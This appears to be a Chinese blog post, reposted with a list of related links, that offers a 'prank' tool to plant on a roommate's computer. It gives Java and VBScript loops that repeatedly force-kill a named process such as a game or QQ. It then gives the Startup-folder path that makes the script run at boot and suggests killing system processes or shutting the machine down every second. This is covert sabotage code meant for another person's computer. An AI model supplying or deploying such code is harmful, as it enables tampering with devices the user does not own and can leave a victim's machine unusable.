效果

最近写代码经常和各种进程打交道,发现了一个很有意思的黑科技。

我直接说有什么用吧,可以设置每隔多少时间检查某个程序是否在使用,如果在用,就强制关闭。比如,有的sb舍友晚上就是不睡觉,一边打游戏一边嚷嚷,那么把程序放他电脑里,定时五分钟,他会发现他的撸啊撸每次都是只能玩五分钟就强退。

之前说的用robot废掉键盘和鼠标太小儿科,配合这个使用,保证让舍友怀疑人生。

最重要的是,用vb和bat代码量贼少而且非常方便,还能设置开机自动执行!

这里设置了检查记事本文件,时间间隔为五秒,效果就是运行程序后,记事本文件闪退,一直打不开

源码

不难,就是使用Java执行Windows命令而已,我们实现的过程其实就是在模拟在cmd小黑窗口里输入命令。

public static void main(String[] args) throws AWTException {

shutdownPro("QQ", 5000);//传入两个参数,一个是想要操作的进程的名字,一个是时间间隔

}

public static void shutdownPro(String progressName,int time) throws AWTException {

int isRunning = -1;//定义变量,该变量用来判断某程序是否在运行,初始值为-1

Robot robot=new Robot();

while(true) {

try {

robot.delay(time);//使用robot的延时功能来完成每隔多少时间运行一次,当然还有其他方法实现该功能

//下面两句是用Java来调用某个程序的语句,这里定义了一个Windows的命令,然后去执行。该语句的作用是查看当前在运行的程序

String cmd = " tasklist";

Process p = Runtime.getRuntime().exec(cmd);

//上述语句执行完后,可以通过Process对象获得窗口返回的数据,把这个数据拼接成一个字符串

StringBuffer proList = new StringBuffer();

byte[] b = new byte[1024];

for (int n; (n = p.getInputStream().read(b)) != -1;) {

proList.append(new String(b, 0, n));

}

isRunning = proList.toString().indexOf(progressName+".exe");//调用indexOf方法判断某个进程是否存在于我们得到的结果中

//如果有,说明在运行

if (isRunning >= 0) {

System.out.println("正在关闭");

//同上,执行一条命令,该命令是强制关闭该进程

String command = "taskkill /f /im "+progressName+".exe";

Runtime.getRuntime().exec(command);

System.out.println("已关闭");

} else {

System.out.println("无进程");

}

} catch (Exception e1) {

e1.printStackTrace();

}

}

}

讲解

cmd命令:其实就是Windows命令,感兴趣的自己去查一下。

这里我们用到了两个,一个是tasklist,该命令是列出当前在运行的程序,就是打开任务管理器,看到的当前进程列表

在cmd里运行的效果是

第二条命令:taskkill /f /im xxx.exe

taskkill是Windows命令行里终止指定程序进程的命令。

/f 表示强制终止

/im 表示指定的进程名称

xxx,就写程序名字呗,相关记事本就是notepad,想关QQ那就是QQ呗,当然最重要的是关了他们的LOL

设置多久执行一次

显然死循环啊,里面用Robot的延时方法或者线程sleep方法都行。

不嫌麻烦用时间日期类来做也行

如何判断某程序是否在运行

执行第一条指令,会得到返回结果,我们把它当成一个字符串来看,这个字符串里包含了所有当前在运行的程序。那用string的indexof方法或者contains方法都行啊,判断这个字符串是否包含某个子字符串,这个子字符串就是我们指定的程序名

如果存在,那么执行第二条指令,强行关闭

扩展

上面是学习一下Java,下面才是干货

do

set bag=getobject("winmgmts:\\.\root\cimv2")

set pipe=bag.execquery("select * from win32_process where name='notepad.exe'")

for each i in pipe

i.terminate()

next

wscript.sleep 5000

loop

vb版本,和系统打交道还是vb和bat脚本比较方便,不同语言的作用不一样,这个要区分清楚。

复制上面代码到记事本里,保存,后缀改成.vbs就行了,双击直接能运行。

记得把进程名和时间改成自己需要的就行。然后就可以拿舍友测试了。

什么?你还想设置为开机自动启动?

不行,这太狠了,人家只是打个游戏而已,不至于赶尽杀绝吧。

你打死我,我也不会告诉你,把这个vb程序放到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp路径下就可以开机自动启动了,我也不会告诉你如果你设置是他系统进程或者直接执行关机命令,再把时间调成一秒,他的电脑开机屏幕一亮就关机了!打死我也不说

问:为什么不写注释也不仔细讲解?

答:我也不会啊,我copy的

这个东西网上一搜有现成的,很简单。vb比较简单,做一些小工具还可以,感兴趣的可以自己研究

矫情一下

我主业是做研发的,最近因为工作关系,接触到了很多学生,发现很多同学对学编程很头疼。我上学的时候也有这种困惑。

我始终认为,编程是一件很有意思的事情,代码可以做出很多意想不到的东西来,程序员不仅可以改变世界,也可以陶冶情操。同时,我也想颠覆外行人对程序员的认知,搞代码的不是你们认为的格子衫牛仔裤帆布鞋,也不是秃头,钢铁直男,做程序只是工作,和人没关系。

可用的代码千篇一律,有趣的设计万里挑一。希望我的一些绵薄之力可以让更多人爱上编程。

当然,肯定还是要靠自己学嘛,至于为什么,emmmm……老师们上课对着PPT念一学期能教出啥来,他们最擅长把的是把你学习的兴趣磨没有。

java 恶搞程序_Java恶搞!强制关闭电脑上的程序进程!相关推荐

  1. Windows如何强制关闭电脑全部代理

    Windows如何强制关闭电脑全部代理 问题背景: 本人公司测试环境接口开启代理的话就访问不了,但是遇到一个奇怪的问题最近,我抓包工具(fiddler)关闭代理之后,接口请求还是走的代理,尽管尝试了卸 ...

  2. 用快捷键强制关闭Ubuntu无响应程序

    大家知道,Linux 上有很多方法可以强制关闭无响应的程序,比如你可以通过按快捷键 Ctrl + Shift + T 来调出 Terminal 或者用 Ctrl + Shift + F1 进入 Con ...

  3. 在运行局域网中另一台电脑上的程序时,总是弹出“无法验证发行者,确定要运行此软件吗”

    在运行局域网中另一台电脑上的程序时,总是弹出"无法验证发行者,确定要运行此软件吗"  或者 "Security warning: The publisher could ...

  4. java tcp聊天程序_java实现基于Tcp的socket聊天程序

    对于步入编程行业不深的初学者或是已经有所领会的人来说,当学习一项新的技术的时候,非常渴望有一个附上注释完整的Demo.本人深有体会,网上的例子多到是很多,但是很杂不完整,写代码这种东西来不得半点马虎, ...

  5. java实现通话_Java做一个最简单的通话程序

    Java做一个最简单的通话程序 作者:未知    文章来源:www.jspcn.net 发布日期:2005年01月19日 Java中的网络编程是一个很重要的部分,也是其编程优越性的地方之一.在Java ...

  6. linux强制关闭应用程序,4种强制关闭Ubuntu中无响应应用程序的方法

    在使用Ubuntu时,我们的一个或多个进程和应用程序可能会经常挂起.重新启动我们的系统并不总是***解决方案,我们发现自己在寻找能够快速.轻松和安全地摆脱无响应的应用程序和程序的方法.在本文中,我们将 ...

  7. php手机关闭程序,php用手机关闭电脑的方法

    这篇文章主要介绍了php实现用手机关闭电脑的方法,涉及php使用system方法调用系统命令的相关技巧,需要的朋友可以参考下 本文实例讲述了php实现用手机关闭电脑的方法.具体分析如下: 适合有手机和 ...

  8. 配置两个java环境变量_java在一台电脑上装两个或多个jdk如何配置环境变量,并实现jdk切换...

    前言 在我们学习或者工作的时候可能根据项目的需求需要使用不同的jdk,那么如何在一台电脑上实现多个jdk的配置同时方便切换呢? 一.前期准备 我这里用两个jdk来给大家演示,分别是jdk8和jdk14 ...

  9. mac java 创建文件夹_在mac电脑上创建java的一些简单操作

    首先你要在电脑上下载一个JDK创造出一个java环境 如下第二个: 然后步奏如下: step1: 苹果->系统偏好设置->最下边点MySQL 在弹出页面中 关闭mysql服务(点击stop ...

最新文章

  1. Codeforces 448E Divisors
  2. linux receive函数,Linux网络 - 数据包的接收过程
  3. ppt格式刷快捷键_高效地制作PPT
  4. 【错误记录】VMware 虚拟机报错 ( 无法连接网络 | VMWare 中打开已经连接好的虚拟机 | 选择 “ 在图形功能不兼容情况下, 车行是恢复虚拟机 “ 选项 )
  5. python打包zip文件_python 解压文件,合并文件 打包成zip格式文件 生成MD5值
  6. SVN提交,提示“remains in conflict”错误
  7. 如何从程序员转型为项目经理
  8. C++程序设计:原理与实践(进阶篇)15.7 vector、list和string
  9. 说说Javascript
  10. 什么叫做支路_家庭电路用什么开关?不同的开关有什么用?主开关用漏保更好吗?...
  11. 使用PHP连接POSTGRES数据库
  12. android协同开发平台,开发协作平台
  13. 3D游戏编程与设计作业02
  14. Linux操作系统主机名(hostname)简介
  15. 树莓派2model B 通过蓝牙实现A2DP协议连接手机播放音乐
  16. 电脑应用·桌面设置面面观·各取所需(快速启动任务栏 右移问题)
  17. 【解耦Excel导出服务】开发日志
  18. rdms系统_什么是关系数据库管理系统(RDMS)?
  19. EDM营销做的最好的是哪个公司
  20. Skyline开发:未能加载文件或程序集“Interop.TerraExplorerX, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null

热门文章

  1. 微课制作太难?除了套模板还有这些知识点要掌握
  2. SM5308原厂2.1A 充电 2.4 A 放电高集成度移动电源IC芯片SOC
  3. 关于心跳ajax请求pending状态(被挂起),stalled时间过长的问题。涉及tcp连接异常。...
  4. 2018校赛(记一次最后五分钟过题的人品爆发)
  5. Layabox谢成鸿出席TFC,公布智能优化方案可提升性能2倍!
  6. 学习大数据和云计算是不是都是会有不错的发展前景
  7. 三星对Android的支持,三星应对Android设备开放Gear手表兼容性
  8. Plotly+Seaborn+Folium可视化探索爱彼迎租房数据
  9. jetbrains idea/pycharm等产品空格处显示小点,并修改小点显示颜色
  10. 【linux】bashrc配置文件里的source路径有问题解决